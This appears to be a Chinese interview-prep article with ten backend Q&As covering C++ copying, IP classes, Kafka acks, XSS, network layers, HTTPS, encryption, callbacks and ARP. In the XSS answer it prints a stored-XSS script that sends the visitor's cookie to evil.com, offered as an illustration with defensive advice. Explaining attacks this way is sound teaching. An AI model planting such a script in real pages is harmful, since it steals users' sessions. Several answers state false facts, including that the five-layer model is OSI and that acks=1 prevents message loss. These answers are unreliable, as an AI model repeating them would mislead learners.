7天八股速记之C++后端——Day 7

坚持7天,短期内快速完成C++后端面试突击。每天10题,弥补后端八股知识缺漏,熟练掌握后端的高频考点,后端面试更有把握。

1. 如何避免拷贝

避免拷贝是为了提高程序的性能和效率,尤其在处理大量数据或频繁进行对象复制时尤为重要。以下是一些避免拷贝的常见方法:

  1. 使用引用传递

    • 将参数传递给函数时,尽量使用引用而不是传值。引用传递不会进行对象的拷贝,而是直接操作原始对象。
    • 使用 const 引用可以避免对对象进行修改,同时也避免了拷贝。
  2. 使用移动语义

    • 对于临时对象或将要销毁的对象,可以使用移动语义来避免拷贝开销。移动语义通过将资源(如内存、文件句柄等)的所有权从一个对象转移到另一个对象,避免了额外的拷贝操作。
    • C++11 中引入了移动语义的支持,可以通过移动构造函数和移动赋值运算符来实现。
  3. 返回对象时使用引用或移动

    • 当函数需要返回一个对象时,可以使用引用或移动来避免拷贝。返回对象的引用或将对象移动出函数都可以避免额外的拷贝操作。
    • 使用 std::move() 可以将对象转移出函数,避免拷贝。
  4. 使用智能指针

    • 使用智能指针(如 std::shared_ptrstd::unique_ptr)来管理动态分配的资源,避免手动管理内存和频繁的对象拷贝。
    • 智能指针可以自动管理资源的生命周期,避免了手动释放内存和拷贝资源的开销。
  5. 使用对象池

    • 对于需要频繁创建和销毁的对象,可以使用对象池来避免频繁的内存分配和释放操作,从而提高性能。
    • 对象池可以在程序启动时预先分配一定数量的对象,并在需要时从池中获取对象,而不是每次都新建对象。

通过以上方法,可以有效地避免不必要的对象拷贝,提高程序的性能和效率。选择合适的方法取决于具体的场景和需求。

2. IP 地址有哪些分类?

IP 地址(Internet Protocol Address)根据其网络标识和主机标识的不同,一般分为 IPv4 和 IPv6 两种版本。而在 IPv4 中,根据 IP 地址的网络标识(网络号)的不同,又可以分为以下几种分类:

  1. A 类地址

    • A 类地址是指网络号占用 1 个字节,主机号占用 3 个字节的 IP 地址。即形如 0.0.0.0 到 127.255.255.255 的地址范围。
    • A 类地址范围较广,可容纳大量主机,适用于大型网络。
  2. B 类地址

    • B 类地址是指网络号占用 2 个字节,主机号占用 2 个字节的 IP 地址。即形如 128.0.0.0 到 191.255.255.255 的地址范围。
    • B 类地址范围适中,可容纳中等规模的网络。
  3. C 类地址

    • C 类地址是指网络号占用 3 个字节,主机号占用 1 个字节的 IP 地址。即形如 192.0.0.0 到 223.255.255.255 的地址范围。
    • C 类地址范围较窄,但可容纳大量小型网络。
  4. D 类地址

    • D 类地址是用于多播(Multicast)通信的特殊地址,范围为 224.0.0.0 到 239.255.255.255。多播地址用于向一组特定的主机发送数据。
  5. E 类地址

    • E 类地址是保留地址,用于实验和未分配的地址范围,范围为 240.0.0.0 到 255.255.255.255。

以上是 IPv4 地址的分类,而 IPv6 地址则更加灵活,采用了更长的地址位(128 位),不再采用类别划分,而是采用前缀长度(Prefix Length)来划分地址的范围。IPv6 地址的范围更加广阔,可以支持更多的设备连接到互联网上。

3. 简述 Kafka 的 ack 的三种机制

Kafka 中的 ACK(Acknowledgement)机制是指生产者发送消息后,接收者确认接收消息的方式。Kafka 提供了三种 ACK 机制,分别是:0、1 和 -1。下面对这三种机制进行简要说明:

  1. ACK=0

    • 当生产者发送消息后,不会等待任何确认,直接将消息发送到主题的分区中,并认为消息已经发送成功。
    • 这种模式下,消息发送的速度最快,但存在消息丢失的风险,因为生产者无法得知消息是否成功被写入到分区中。
  2. ACK=1

    • 当生产者发送消息后,等待分区的 Leader 接收消息,并将消息写入到 Leader 所在的分区中。一旦消息被 Leader 接收并写入,生产者会收到一个确认。
    • 这种模式下,消息发送的速度比 ACK=0 慢一些,但能够保证消息不会丢失,因为 Leader 接收到消息后会立即向生产者发送确认。
  3. ACK=all/-1

    • 当生产者发送消息后,等待所有 ISR(In-Sync Replicas)副本接收消息并写入到它们的本地日志中,并等待 Leader 副本向所有 ISR 副本发送确认。
    • 这种模式下,消息发送的速度最慢,但能够提供最高的消息可靠性,因为所有 ISR 副本都确认接收到消息并将其写入到本地日志后,才会向生产者发送确认。

通常情况下,推荐使用 ACK=1 或 ACK=all/-1 来保证消息的可靠性。

4. 谈谈你对滑动窗口的了解?

滑动窗口(Sliding Window)是一种常用的算法和技术,在计算机科学和通信领域有着广泛的应用。它主要用于实现流量控制、拥塞控制和序列号管理等功能。以下是关于滑动窗口的一些基本概念和应用:

  1. 基本概念

    • 滑动窗口是一个连续的窗口,它可以在数据流中滑动并在其中承载一定数量的数据。
    • 窗口的大小决定了窗口中可以容纳的数据量,而滑动的步长则决定了窗口如何在数据流中移动。
    • 滑动窗口通常由左边界和右边界组成,左边界表示窗口的起始位置,右边界表示窗口的结束位置。
  2. 应用场景

    • 流量控制:在数据通信中,滑动窗口可以用来控制发送方和接收方之间的数据流量,确保发送方发送的数据不会超出接收方的处理能力范围。
    • 拥塞控制:在网络通信中,滑动窗口可以用来调节发送方发送数据的速率,以避免网络拥塞导致丢包和传输延迟增加。
    • 序列号管理:在数据传输中,滑动窗口可以用来管理数据包的序列号,确保数据包的顺序传输和可靠接收。
  3. 工作原理

    • 发送方和接收方都维护一个滑动窗口,其中包含了已发送但未确认的数据包序列号。
    • 发送方根据接收方的确认信息来调整窗口的大小和滑动的步长,以实现流量控制和拥塞控制。
    • 接收方通过确认信息来指示发送方可以发送的数据量,从而控制发送方的发送速率。
  4. 算法和优化

    • 滑动窗口算法有多种实现方式,包括固定窗口大小、可变窗口大小、动态窗口大小等。
    • 为了提高效率和性能,可以采用一些优化策略,如快速重传、选择性重传、累积确认等。

5. 谈一谈 XSS 攻击,举个例子?

跨站脚本攻击(Cross-Site Scripting,XSS)是一种常见的网络安全漏洞,攻击者利用该漏洞向网页中注入恶意脚本代码,从而在用户浏览器中执行恶意操作。这些恶意脚本通常用于窃取用户信息、会话劫持、钓鱼攻击等恶意行为。

以下是一个简单的 XSS 攻击例子:

假设有一个简单的网站,允许用户在页面中提交评论,并且在页面上显示用户提交的评论内容。评论功能的实现可能是这样的:

<!DOCTYPE html>
<html>
<head><title>评论页面</title>
</head>
<body><h1>评论页面</h1><form action="/submit_comment" method="post"><textarea name="comment" rows="4" cols="50"></textarea><br><input type="submit" value="提交评论"></form><h2>用户评论:</h2><div id="comments"><!-- 用户提交的评论会在这里显示 --></div>
</body>
</html>

在这个页面中,用户可以在文本框中输入评论内容,并通过提交按钮将评论提交到服务器。服务器会将用户提交的评论内容存储到数据库中,并在页面上显示出来。

攻击者可以利用这个评论功能来进行 XSS 攻击。攻击者可能在评论中插入恶意脚本代码,例如:

<script>// 恶意脚本,窃取用户 cookievar img = new Image();img.src = 'http://evil.com/steal?cookie=' + document.cookie;
</script>

如果服务器端未对用户提交的评论内容进行过滤或转义处理,那么这段恶意脚本代码会被存储到数据库中,并在页面上显示出来。当其他用户访问该页面时,浏览器会执行这段恶意脚本代码,从而导致用户的 cookie 被窃取。

为了防止 XSS 攻击,应当对用户提交的内容进行严格的输入验证、输出编码和过滤处理,确保不会执行恶意脚本代码。

6. 讲一下网络五层模型,每一层的职责?

网络五层模型是指 OSI(Open Systems Interconnection)参考模型,它将计算机网络通信分为五个抽象层次,每个层次都有不同的职责和功能。以下是网络五层模型各层的简要介绍:

  1. 物理层(Physical Layer)

    • 物理层是网络五层模型中的最底层,负责传输原始比特流,通过物理介质(如光缆、电缆、无线电波等)将数据从发送方传输到接收方。
    • 物理层主要关注数据的传输和信号的编码、调制、解调、时序控制等技术细节,以确保数据能够在物理媒介上可靠传输。
  2. 数据链路层(Data Link Layer)

    • 数据链路层位于物理层之上,负责将原始的比特流转换成数据帧,并进行逐段的传输。它通过物理地址(MAC 地址)来标识网络中的设备。
    • 数据链路层提供了数据的可靠传输,通过检错、纠错、重发等机制来保证数据的完整性和可靠性。
  3. 网络层(Network Layer)

    • 网络层位于数据链路层之上,主要负责在网络中实现主机之间的通信和数据路由。它通过 IP 地址来标识网络中的设备。
    • 网络层主要实现数据的分组、路由选择、拥塞控制等功能,以保证数据能够在不同的网络之间传输。
  4. 传输层(Transport Layer)

    • 传输层位于网络层之上,主要负责实现端到端的通信和数据传输。它通过端口号来标识主机上的应用程序。
    • 传输层提供了数据的可靠传输和流量控制功能,主要通过 TCP(Transmission Control Protocol)和 UDP(User Datagram Protocol)来实现。
  5. 应用层(Application Layer)

    • 应用层位于传输层之上,负责为用户提供各种网络服务和应用程序。常见的网络应用包括 Web 浏览器、电子邮件、文件传输等。
    • 应用层定义了网络协议、数据格式和通信规则,以便不同的应用程序能够进行通信和交互。

7. 简单说下 HTTPS 和 HTTP 的区别

HTTP(Hypertext Transfer Protocol)和HTTPS(Hypertext Transfer Protocol Secure)都是用于在客户端和服务器之间传输数据的协议,但它们之间有几个关键的区别:

  1. 安全性

    • HTTP 是明文传输协议,数据在传输过程中不加密,因此容易被窃听和篡改。攻击者可以轻松地截取传输的数据,并且对数据进行修改。
    • HTTPS 在 HTTP 的基础上添加了 SSL/TLS 加密层,使用公钥加密和私钥解密的方式对数据进行加密传输,因此能够确保数据在传输过程中的安全性和完整性,防止数据被窃听和篡改。
  2. 通信方式

    • HTTP 使用的是明文传输,数据以纯文本形式传输,不经过加密处理。
    • HTTPS 使用 SSL/TLS 加密协议对数据进行加密传输,客户端和服务器之间的通信是加密的。
  3. 端口

    • HTTP 默认使用的端口是 80,而 HTTPS 默认使用的端口是 443。这两个协议的端口不同,使得服务器能够根据端口来区分不同的传输协议。
  4. 证书

    • 在使用 HTTPS 协议时,服务器必须使用 SSL/TLS 证书来验证自己的身份,并向客户端提供证书。客户端可以通过证书来验证服务器的真实性,并建立安全连接。
    • HTTP 不需要使用证书,因为它不涉及加密和身份验证。

HTTPS 在 HTTP 的基础上增加了安全性和加密传输的功能,通过 SSL/TLS 加密协议保护数据的安全性和完整性,使得数据在传输过程中不易被窃听和篡改,因此更适合传输敏感信息和保护用户隐私。

8. 对称加密与非对称加密的区别

对称加密和非对称加密是两种常见的加密算法,它们之间的主要区别在于密钥的使用方式和加密解密过程。

  1. 对称加密

    • 对称加密算法使用相同的密钥(称为对称密钥)来进行加密和解密操作。
    • 加密和解密过程中使用的密钥是相同的,因此对称加密算法通常速度较快,适合用于大数据量的加密和解密。
    • 常见的对称加密算法包括 DES(Data Encryption Standard)、AES(Advanced Encryption Standard)等。
  2. 非对称加密

    • 非对称加密算法使用一对密钥,分别是公钥和私钥。公钥用于加密数据,私钥用于解密数据。
    • 加密和解密过程中使用的密钥是不同的,公钥是公开的,而私钥是保密的。
    • 非对称加密算法相对于对称加密算法更安全,因为即使攻击者获得了公钥,也无法通过公钥推导出私钥。
    • 常见的非对称加密算法包括 RSA(Rivest-Shamir-Adleman)、DSA(Digital Signature Algorithm)等。

对称加密使用相同的密钥进行加密和解密,速度较快但需要保护密钥的安全性;非对称加密使用不同的密钥进行加密和解密,安全性较高但速度较慢。通常情况下,对称加密算法用于数据加密和解密,而非对称加密算法用于安全通信、数字签名等场景。

9. 请简述同步回调和异步回调的不同有哪些?

同步回调和异步回调是两种常见的回调方式,它们之间的主要区别在于调用方和被调用方之间的等待方式和通信机制。

  1. 同步回调

    • 在同步回调中,调用方发起调用请求后会立即等待被调用方的执行结果,直到被调用方执行完毕并返回结果后,调用方才能继续执行后续的操作。
    • 同步回调会阻塞调用方的执行线程,直到回调函数执行完成,因此如果被调用方的执行时间较长,会导致调用方的性能受到影响。
  2. 异步回调

    • 在异步回调中,调用方发起调用请求后不会立即等待被调用方的执行结果,而是继续执行后续的操作。被调用方会在后台执行,执行完毕后会通过回调函数将结果返回给调用方。
    • 异步回调不会阻塞调用方的执行线程,因此可以提高调用方的并发能力和性能。

主要区别总结如下:

  • 同步回调是在调用方等待被调用方执行完成后再继续执行后续操作,而异步回调是在调用方不等待被调用方执行完成而继续执行后续操作。
  • 同步回调会阻塞调用方的执行线程,而异步回调不会阻塞调用方的执行线程,可以提高并发能力和性能。

选择使用同步回调还是异步回调取决于具体的应用场景和需求。如果需要在调用方等待结果的情况下执行后续操作,可以选择同步回调;如果不需要等待结果或者需要提高并发能力和性能,可以选择异步回调。

10. ARP 协议的工作原理?

ARP(Address Resolution Protocol)是一种用于将 IP 地址解析为 MAC 地址的网络协议,它的主要作用是在局域网中根据目标主机的 IP 地址查找对应的 MAC 地址。

ARP 协议的工作原理如下:

  1. ARP 请求

    • 当一台主机需要向另一台主机发送数据时,首先会检查目标主机的 IP 地址是否在同一局域网中。
    • 如果目标主机的 IP 地址与当前主机不在同一局域网中,那么当前主机将通过默认网关将数据发送到其他网络。
    • 如果目标主机的 IP 地址与当前主机在同一局域网中,那么当前主机会发送一个 ARP 请求广播包,其中包含了目标主机的 IP 地址,请求对应的 MAC 地址。
  2. ARP 响应

    • 接收到 ARP 请求的目标主机收到请求后,会检查自己的 ARP 缓存表(ARP Cache)中是否已经存储了对应 IP 地址的 MAC 地址。
    • 如果在 ARP 缓存表中找到了对应的记录,目标主机会将自己的 MAC 地址作为 ARP 响应发送给请求方。
    • 如果在 ARP 缓存表中未找到对应的记录,目标主机会将自己的 MAC 地址作为 ARP 响应发送给请求方,并将 IP 地址与 MAC 地址的对应关系存储到 ARP 缓存表中。
  3. ARP 缓存表

    • ARP 缓存表是每台主机上保存 IP 地址与 MAC 地址对应关系的一个表格,用于加速 ARP 请求的处理。
    • 当主机发送数据时,会首先检查 ARP 缓存表中是否已经有了目标主机的 MAC 地址,如果有则可以直接发送数据;如果没有则需要发送 ARP 请求。

ARP 协议通过 ARP 请求和 ARP 响应来实现 IP 地址到 MAC 地址的解析过程,以确保在局域网中能够准确地将数据发送到目标主机。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/822106.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【位运算 子集状态压缩】982按位与为零的三元组

算法可以发掘本质&#xff0c;如&#xff1a; 一&#xff0c;若干师傅和徒弟互有好感&#xff0c;有好感的师徒可以结对学习。师傅和徒弟都只能参加一个对子。如何让对子最多。 二&#xff0c;有无限多1X2和2X1的骨牌&#xff0c;某个棋盘若干格子坏了&#xff0c;如何在没有坏…

[Java 面试题] ArrayList篇

1. ArrayList 与 数组的区别 ArrayList 的底层是数组队列&#xff0c;相当于动态数组。与 Java 中的数组相比&#xff0c;它的容量能动态增长。在添加大量元素前&#xff0c;应用程序可以使用ensureCapacity操作来增加 ArrayList 实例的容量。这可以减少递增式再分配的数量。 …

电机控制专题(一)——最大转矩电流比MTPA笔记

文章目录 电机控制专题(一)——最大转矩电流比MTPA笔记理论推导部分 电机控制专题(一)——最大转矩电流比MTPA笔记 理论推导部分 记转矩角&#xff08;电流矢量与d轴夹角&#xff09;为 γ \gamma γ&#xff0c;则dq轴电流可以表示如下&#xff1a; i d I s c o s γ i_dI…

案例研究|众乐邦将MeterSphere持续测试平台融入DevOps流水线

众乐邦网络科技有限公司&#xff08;以下简称为“众乐邦”&#xff09;是一家企业服务公司。其旗下的众乐邦灵活用工数字化薪税管理平台&#xff08;以下简称为灵活用工管理平台&#xff09;&#xff0c;以财税服务视角切入灵活用工场景&#xff0c;连接企业、灵活就业者和监管…

独孤思维:拿我的收益图去收割,不要脸

01 做副业不要患得患失。 没有必要。 昨天有个学员跟我说&#xff0c;做的xx项目&#xff0c;最近流量降低了好多。 导致有一段时间没有收益了。 其实&#xff0c;这种现象非常常见。 即便是副业顶级玩家&#xff0c;也不可能保证每篇内容都能爆。 每天都有稳定的收益。…

力扣:141. 环形链表

力扣&#xff1a;141. 环形链表 给你一个链表的头节点 head &#xff0c;判断链表中是否有环。 如果链表中有某个节点&#xff0c;可以通过连续跟踪 next 指针再次到达&#xff0c;则链表中存在环。 为了表示给定链表中的环&#xff0c;评测系统内部使用整数 pos 来表示链表尾…

一个文生视频MoneyPrinterTurbo项目解析

最近抖音剪映发布了图文生成视频功能,同时百家号也有这个功能,这个可以看做是一个开源的实现,一起看看它的原理吧~ 一句话提示词 大模型生成文案 百家号生成视频效果 MoneyPrinterTurbo生成视频效果 天空为什么是蓝色的? 天空之所以呈现蓝色,是因为大气中的分子和小粒子会…

35、链表-LRU缓存

思路&#xff1a; 首先要了解LRU缓存的原理&#xff0c;首先定下容量&#xff0c;每次get请求和put请求都会把当前元素放最前/后面&#xff0c;如果超过容量那么头部/尾部元素就被移除&#xff0c;所以最近最少使用的元素会被优先移除&#xff0c;保证热点数据持续存在。 不管放…

鸿蒙画布组件使用介绍

一、前言 DevEco Studio版本&#xff1a;4.0.0.600 前些天写了一篇 鸿蒙自定义控件实现罗盘数字时钟效果 的文章&#xff0c;有同学私信说能不能介绍鸿蒙中的画布组件&#xff0c;下面文章介绍下鸿蒙中的Canvas画布、CanvasRenderingContext2D绘制组件&#xff0c;实现绘制文…

股票市场预测模型:未来趋势的智能分析工具

&#x1f4c8; 股票市场预测模型&#xff1a;未来趋势的智能分析工具 &#x1f911; &#x1f3e6; 概述 在这个充满变数的股票市场中&#xff0c;投资者需要一个强大的工具来预测未来的价格走势。我们的机器学习模型旨在通过分析历史数据&#xff0c;为投资者提供科学的市场…

03.卸载MySQL

卸载MySQL 1.Windows卸载MySQL8 停止服务 用命令停止或者在服务中停止都可以 net stop mysql&#xff08;服务名字可以去服务里面看一下&#xff09;控制面板卸载MySQL 卸载MySQL8.0的程序可以和其他桌面应用程序一样直接在控制面板选择卸载程序&#xff0c;并在程序列表中…

转换为elementUI提示方法为uni-app的showToast提示

// 转换为elementUI提示方法为uni-app的showToast提示---------------------------------------- // 一般提示 Vue.prototype.$message function(title) {title && uni.showToast({icon: none,title}); }; // 成功提示 Vue.prototype.$message.success (title) > …

无效的标记: --release

maven编译项目时候出现&#xff1a;无效的标记: --release 项目背景 介绍一下项目背景&#xff1a; java17 SpringBoot&#xff1a;3.2.0 SpringCloud&#xff1a; 2023.0.0 之前一直用java8开发项目 问题原因 maven所使用的jdk版本和idea所使用的jdk版本不一致导致的。…

客诉技术架构:构建客户满意的数字化支持系统

随着数字化时代的到来&#xff0c;客户体验已经成为企业竞争的关键因素之一。而客诉技术架构作为支持客户服务和解决问题的关键系统&#xff0c;对于企业提升客户满意度和品牌声誉具有重要意义。本文将深入探讨客诉技术架构的重要性、关键要素以及如何构建一个有效的客户支持系…

微服务之网关路由

一、概述 1.1认识网关 什么是网关&#xff1f; 顾明思议&#xff0c;网关就是网络的关口。数据在网络间传输&#xff0c;从一个网络传输到另一网络时就需要经过网关来做数据的路由和转发以及数据安全的校验。 更通俗的来讲&#xff0c;网关就像是以前园区传达室的大爷。 外…

跨境物流系统解决方案:构建全球化供应链的关键步骤

随着全球化的发展&#xff0c;跨境物流已成为国际贸易中不可或缺的重要环节。然而&#xff0c;由于各国之间的政治、法律、文化和语言差异&#xff0c;跨境物流常常面临诸多挑战&#xff0c;如货物清关、运输安全、物流跟踪等问题。因此&#xff0c;构建一个高效、可靠的跨境物…

Docker-Compose一键安装脚本

Docker-Compose一键安装脚本 Docker 安装&#xff1a; wget -qO- get.docker.com | bash systemctl start docker systemctl enable dockerDocker Compose 是 Docker 编排服务的一部分&#xff0c;Compose 可以让用户在集群中部署分布式应用。 Docker Compose 是一个属于 “应…

3.2 iHRM人力资源 - 组织架构 - 编辑及删除

iHRM人力资源 - 组织架构 文章目录 iHRM人力资源 - 组织架构一、编辑功能1.1 表单弹层并数据回显1.2 编辑校验1.3 编辑 二、删除功能 一、编辑功能 编辑功能和新增功能用的组件其实是一个&#xff0c;结构几乎是一样的&#xff0c;其实是复用了组件&#xff0c;我们也省去了很…

Hive-Sql复杂面试题

参考链接&#xff1a;hive sql面试题及答案 - 知乎 1、编写sql实现每个用户截止到每月为止的最大单月访问次数和累计到该月的总访问次数 数据&#xff1a; userid,month,visits A,2015-01,5 A,2015-01,15 B,2015-01,5 A,2015-01,8 B,2015-01,25 A,2015-01,5 A,2015-02,4 A,20…

vite项目创建和打包编译

Vite&#xff08;法语中“快速”的意思&#xff09;是一个现代化的前端构建工具&#xff0c;它提供了快速的冷启动、即时的模块热更新&#xff08;HMR&#xff09;以及真正的按需编译&#xff0c;从而大幅提升了开发体验。Vite 通过原生 ES 模块&#xff08;ESM&#xff09;的优…